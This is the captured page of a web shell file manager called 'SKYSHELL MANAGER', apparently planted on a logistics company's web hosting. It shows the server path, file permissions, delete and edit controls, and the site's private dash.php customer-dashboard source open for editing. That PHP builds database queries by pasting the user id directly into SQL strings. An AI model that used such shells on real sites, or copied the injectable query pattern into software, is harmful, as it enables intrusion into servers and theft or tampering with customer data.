📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chblogistics.com
/
upload
/
Name
Size
Permissions
Actions
📁
..
-
0555
🗑️
🔒
📁
upload
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
23.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
Editing: dash.php
<?php include "header2.php"; ?><?php include "every.php"; ?> <?php // $path = __DIR__ . "/tmp_sessions"; // Create folder if missing // if (!is_dir($path)) { // mkdir($path, 0700, true); // } // session_save_path($path); // session_start(); ?> <body onLoad="getLocation()"> <style> .guy{ margin:0px; padding:0px; } </style> <main id="main"> <!-- =======rack and Book Section ======= --> <section id="about" class="about"> <div class="container" data-aos="fade-up"> <h3> My <span style="color:#FF339A;">Profile</span></h3> <div class="row content"> <div class="col-lg-6" style="padding:10px; width:100%; margin:auto; background-color:#fff; color:#000000; " align="center" > <p style="color: #FF339A;"> Welcome to CHB LOGISTICS <?php echo $name; ?> <?php echo $name2; ?>! Place an order, feel the speed.</p> <h4>Available Balance(Naira)<br><span style="font-size:60px; font-weight:900; font-family:Poppins;">₦<?php echo $owo;?></span></h4> <p><a href="topup.php" class="submitn">Fund Wallet</a></p> <p style="font-size:12px;">Get 1% cash back<br> <span style="color:#FF339A; font-size:10px;">Funds credited to your wallet are non refundable and cannot be withdrawn. They shall be applied solely towards your transactions within CHB LOGISTICS Membership</span></p> </div> <?php $ap = "Yes"; $sql = "SELECT count(*) As 'total' FROM parcel WHERE user = '".$usid."' && app='".$ap."' "; $sql2 = mysqli_query($con,$sql); $dad = mysqli_fetch_assoc($sql2); $kany=$dad['total']; ?> <div class="col-lg-6" style="padding:40px; width:100%; background-color:#fff; color:#000000; " align="center" > <h4>Total Shipment Order<br><span style="font-size:60px; font-weight:900; font-family:Poppins;"><?php echo $kany;?></span></h4> <p><a href="rent.php" class="submitn">View Orders</a></p> </div> <div class="col-lg-6" style="padding:20px; width:100%; margin:auto; font-size:14px; " align="center"> <p><img src="<?php echo $imageURL; ?>" style="max-height:20%; max-width:20%; border-radius:50%; background-color:#FFFFFF; border:#FF339A solid 2px;" data-toggle="modal" data-target="#myModa"/></p> <h4 >Hola, <?php echo $name; ?> <?php echo $name2; ?>!</h4> <p style="color:#FF339A;">@<?php echo $usid; ?></p> <p ><?php echo $email; ?><br><?php echo $mob; ?><br><br><a href="edit.php" class="submitn">Edit Profile</a></p> </div> </div></div> </section><!-- Book Section --> <?php $ap = "Yes"; $sql = "SELECT count(*) As 'total' FROM parcel WHERE user = '".$usid."' && app='".$ap."' && status!='Success' "; $sql2 = mysqli_query($con,$sql); $dad = mysqli_fetch_assoc($sql2); $kany=$dad['total']; ?> <!-- =======rack and Book Section ======= --> <section id="about" class="about" style="margin-bottom:100px;"> <div class="container" data-aos="fade-up"> <div class="row content"> <div class="col-lg-12" style="padding:20px; width:100%; margin:auto;"> <p><a href="rent.php" class="kan"><h4 style="color:#FF339A;">On-going Orders </h4> <p style="color:#fff; font-size:12px;"> <?php echo $kany; ?> order(s) >>> <i class="bx bxs-right-arrow-alt get-started-icon" style="border:0; color:#FF339A; font-size:25px; float:right;"></i></p></a></p> <p><a href="torey.php" class="kan"><h4 style="color:#FF339A;"> Transaction History</h4> <p style="color:#fff; font-size:12px;">All orders details and transactions are stored here >>> <i class="bx bxs-right-arrow-alt get-started-icon" style="border:0; color:#FF339A; font-size:25px; float:right;"></i></p></a></p> <p><a href="history.php" class="kan"><h4 style="color:#FF339A;"> History </h4> <p style="color:#fff; font-size:12px;">All previously used address are stored here >>><i class="bx bxs-right-arrow-alt get-started-icon" style="border:0; color:#FF339A; font-size:25px; float:right;"></i></p></a></p> <p><a href="upgrade.php" class="kan"><h4 style="color:#FF339A;">Membership Level </h4> <p style="color:#fff; font-size:12px;"><?php echo $mem; ?> ,Upgrade Memberhsip >>><i class="bx bxs-right-arrow-alt get-started-icon" style="border:0; color:#FF339A; font-size:25px; float:right;"></i></p></a></p> <p><a href="termss.php" class="kan"><h4 style="color:#FF339A;"> Others </h4> <p style="color:#fff; font-size:12px;">Terms and Conditions >>><i class="bx bxs-right-arrow-alt get-started-icon" style="border:0; color:#FF339A; font-size:25px; float:right;"></i></p></a></p> <p><a href="com.php" class="kan"><h4 style="color:#FF339A;">Review</h4> <p style="color:#fff; font-size:12px;">Leave us a review >>><i class="bx bxs-right-arrow-alt get-started-icon" style="border:0; color:#FF339A; font-size:25px; float:right;"></i></p></a></p> <p><a href="cond.php" class="kan"><h4 style="color:#FF339A;">Support</h4> <p style="color:#fff; font-size:12px;">Contact our support system here and we will get back to you in the next 24hours >>><i class="bx bxs-right-arrow-alt get-started-icon" style="border:0; color:#FF339A; font-size:25px; float:right;"></i></p></a></p> <p><a href="set.php" class="kan"><h4 style="color:#FF339A;">Settings </h4> <p style="color:#fff; font-size:12px;">Password, Logout >>><i class="bx bxs-right-arrow-alt get-started-icon" style="border:0; color:#FF339A; font-size:25px; float:right;"></i></p></a></p> </div> </div></div> </section><!-- Book Section --> </main><!-- End #main --> <?php include "footer2.php"; ?> <div class="modal fade" id="myModa" role="dialog"> <div class="vertical-alignment-helper"> <div class="modal-dialog vertical-align-center"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <h6 class="modal-title w-100 text-center" style="color:black;">Update Profile Picture</h6> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div class="modal-body" style="color:#FFFFFF;"> <p style="color:black;"> <form method="post" action="upload.php" enctype="multipart/form-data"><input type="file" name="file" style="color:black;" required > <br ><span style="color:#FF0096; font-size:10px;">(Only images less than 2mb allowed)</span><?php global $statusMsg; echo "$statusMsg"; ?></p> <p><input type="submit" name="submit" value="Update" class="submitn" required /></form></p> </div> </div> </div> </div> </div> </div>
💾 Save Changes